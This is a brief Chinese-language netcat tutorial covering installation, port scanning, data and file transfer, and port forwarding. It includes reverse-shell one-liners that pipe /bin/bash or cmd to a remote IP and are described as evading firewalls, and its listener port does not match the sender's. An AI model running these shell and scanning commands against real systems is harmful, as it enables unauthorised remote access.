nc工具安装与使用
安装
windows
https://eternallybored.org/misc/netcat/
下载下来就好
打开命令界面 cmd
输入nc命令即可
我是在测试sparkStreaming时候用到
输入 nc -L -p 9999
linux
yum -y install nc
使用
常用的一些命令
1 | -4 IPv4模式 |
使用举例
1 . 端口扫描
1
nc -z -v -n 172.31.100.7 21-25
2 . 交互数据传输
发送端
1
nc 172.31.100.7 4444
接收端
1
nc -lvnp 4444
3 . 文件传输
发送端
1
nc -lvnp 4444 < file.txt
接收端
1
nc -n 172.31.100.7 > file.txt
4 . 反弹shell(不会被防火墙拦截)
发送端(linux)
1
nc 192.168.110.20 4445 -e /bin/bash
(windows)
1
nc.exe -e cmd 192.168.110.20 4445
监听
1
nc -lvnp 4444
5.端口转发
本地端口转发,将kali的8888端口转发到22端口
1
nc -lp 8888 -c "nc 127.0.0.1 22"
远程端口转发,访问kali的7777端口,就是访问centos的22端口
1 | nc -lp 7777 -c "nc 192.168.199.236 22" |